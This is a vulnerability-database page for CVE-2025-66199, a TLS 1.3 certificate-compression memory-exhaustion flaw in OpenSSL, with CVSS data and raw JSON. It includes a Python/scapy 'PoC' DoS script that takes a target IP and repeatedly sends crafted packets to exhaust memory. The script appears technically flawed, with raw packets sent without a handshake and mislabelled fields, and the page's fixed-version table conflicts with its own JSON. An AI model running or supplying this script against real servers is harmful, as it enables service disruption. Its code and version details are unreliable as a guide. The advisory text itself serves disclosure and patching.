Security Vulnerability Report
中文
CVE-2025-66199 CVSS 5.9 MEDIUM

CVE-2025-66199

Published: 2026-01-27 16:16:16
Last Modified: 2026-02-02 18:37:20

Description

Issue summary: A TLS 1.3 connection using certificate compression can be forced to allocate a large buffer before decompression without checking against the configured certificate size limit. Impact summary: An attacker can cause per-connection memory allocations of up to approximately 22 MiB and extra CPU work, potentially leading to service degradation or resource exhaustion (Denial of Service). In affected configurations, the peer-supplied uncompressed certificate length from a CompressedCertificate message is used to grow a heap buffer prior to decompression. This length is not bounded by the max_cert_list setting, which otherwise constrains certificate message sizes. An attacker can exploit this to cause large per-connection allocations followed by handshake failure. No memory corruption or information disclosure occurs. This issue only affects builds where TLS 1.3 certificate compression is compiled in (i.e., not OPENSSL_NO_COMP_ALG) and at least one compression algorithm (brotli, zlib, or zstd) is available, and where the compression extension is negotiated. Both clients receiving a server CompressedCertificate and servers in mutual TLS scenarios receiving a client CompressedCertificate are affected. Servers that do not request client certificates are not vulnerable to client-initiated attacks. Users can mitigate this issue by setting SSL_OP_NO_RX_CERTIFICATE_COMPRESSION to disable receiving compressed certificates. The FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue, as the TLS implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue. OpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
OpenSSL 3.3 < 3.3.4
OpenSSL 3.4 < 3.4.2
OpenSSL 3.5 < 3.5.1
OpenSSL 3.6 < 3.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66199 OpenSSL TLS 1.3 Certificate Compression DoS PoC # This PoC demonstrates sending a malicious CompressedCertificate message # Requires: Python 3.x with scapy from scapy.all import * from scapy.layers.tls.all import * import struct def create_malicious_tls13_handshake(): """ Create a TLS 1.3 ClientHello with malicious CompressedCertificate extension """ # Large uncompressed certificate length (close to 22 MiB) MALICIOUS_UNCOMPRESSED_LEN = 22 * 1024 * 1024 # 23068672 bytes # Compressed data - minimal compression compressed_data = b'\x00' * 1024 # Build CompressedCertificate message # Format: compression algorithm (1) + uncompressed length (4) + compressed data compressed_cert = struct.pack('!B', 0) # compression algorithm (brotli) compressed_cert += struct.pack('!I', MALICIOUS_UNCOMPRESSED_LEN) # Uncompressed length compressed_cert += compressed_data # TLS 1.3 Extension: compressed_certificate(0x0022) ext = TLSExtCompressedCertificate() ext.compressed_cert = compressed_cert # Build ClientHello with the malicious extension client_hello = TLS(client_hello=TLSClientHello( version=0x0304, extensions=[ext] )) return bytes(client_hello) def exploit(target_ip, target_port=443): """ Send malicious TLS 1.3 ClientHello to trigger memory allocation """ pkt = IP(dst=target_ip)/TCP(dport=target_port, sport=RandShort(), flags='PA')/ create_malicious_tls13_handshake() print(f"[*] Sending malicious TLS 1.3 ClientHello to {target_ip}:{target_port}") print(f"[*] Uncompressed certificate length: 22 MiB") # Send multiple packets to exhaust memory for i in range(100): send(pkt, verbose=0) if i % 10 == 0: print(f"[*] Sent {i} packets...") print(f"[+] Attack completed. Target may have allocated ~2.2 GB heap memory.") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-66199_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66199", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:15.777", "lastModified": "2026-02-02T18:37:19.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Issue summary: A TLS 1.3 connection using certificate compression can be\nforced to allocate a large buffer before decompression without checking\nagainst the configured certificate size limit.\n\nImpact summary: An attacker can cause per-connection memory allocations of\nup to approximately 22 MiB and extra CPU work, potentially leading to\nservice degradation or resource exhaustion (Denial of Service).\n\nIn affected configurations, the peer-supplied uncompressed certificate\nlength from a CompressedCertificate message is used to grow a heap buffer\nprior to decompression. This length is not bounded by the max_cert_list\nsetting, which otherwise constrains certificate message sizes. An attacker\ncan exploit this to cause large per-connection allocations followed by\nhandshake failure. No memory corruption or information disclosure occurs.\n\nThis issue only affects builds where TLS 1.3 certificate compression is\ncompiled in (i.e., not OPENSSL_NO_COMP_ALG) and at least one compression\nalgorithm (brotli, zlib, or zstd) is available, and where the compression\nextension is negotiated. Both clients receiving a server CompressedCertificate\nand servers in mutual TLS scenarios receiving a client CompressedCertificate\nare affected. Servers that do not request client certificates are not\nvulnerable to client-initiated attacks.\n\nUsers can mitigate this issue by setting SSL_OP_NO_RX_CERTIFICATE_COMPRESSION\nto disable receiving compressed certificates.\n\nThe FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue,\nas the TLS implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue.\n\nOpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue."}, {"lang": "es", "value": "Resumen del problema: Una conexión TLS 1.3 que utiliza compresión de certificados puede ser forzada a asignar un búfer grande antes de la descompresión sin verificar contra el límite de tamaño de certificado configurado.\n\nResumen del impacto: Un atacante puede causar asignaciones de memoria por conexión de hasta aproximadamente 22 MiB y trabajo adicional de CPU, lo que podría llevar a degradación del servicio o agotamiento de recursos (denegación de servicio).\n\nEn configuraciones afectadas, la longitud del certificado sin comprimir proporcionada por el par de un mensaje CompressedCertificate se utiliza para aumentar un búfer de pila antes de la descompresión. Esta longitud no está limitada por la configuración max_cert_list, que de otro modo restringe los tamaños de los mensajes de certificado. Un atacante puede explotar esto para causar grandes asignaciones por conexión seguidas de un fallo en el handshake. No ocurre corrupción de memoria ni revelación de información.\n\nEste problema solo afecta a las compilaciones donde la compresión de certificados TLS 1.3 está compilada (es decir, no OPENSSL_NO_COMP_ALG) y al menos un algoritmo de compresión (brotli, zlib o zstd) está disponible, y donde la extensión de compresión es negociada. Tanto los clientes que reciben un CompressedCertificate del servidor como los servidores en escenarios TLS mutuos que reciben un CompressedCertificate del cliente se ven afectados. Los servidores que no solicitan certificados de cliente no son vulnerables a ataques iniciados por el cliente.\n\nLos usuarios pueden mitigar este problema configurando SSL_OP_NO_RX_CERTIFICATE_COMPRESSION para deshabilitar la recepción de certificados comprimidos.\n\nLos módulos FIPS en 3.6, 3.5, 3.4 y 3.3 no se ven afectados por este problema, ya que la implementación de TLS está fuera del límite del módulo FIPS de OpenSSL.\n\nOpenSSL 3.6, 3.5, 3.4 y 3.3 son vulnerables a este problema.\n\nOpenSSL 3.0, 1.1.1 y 1.0.2 no se ven afectados por este problema."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.6", "matchCriteriaId": "F5292E9E-6B50-409F-9219-7B0A04047AD8"}, {"vulnerable": true, "criteria" ... (truncated)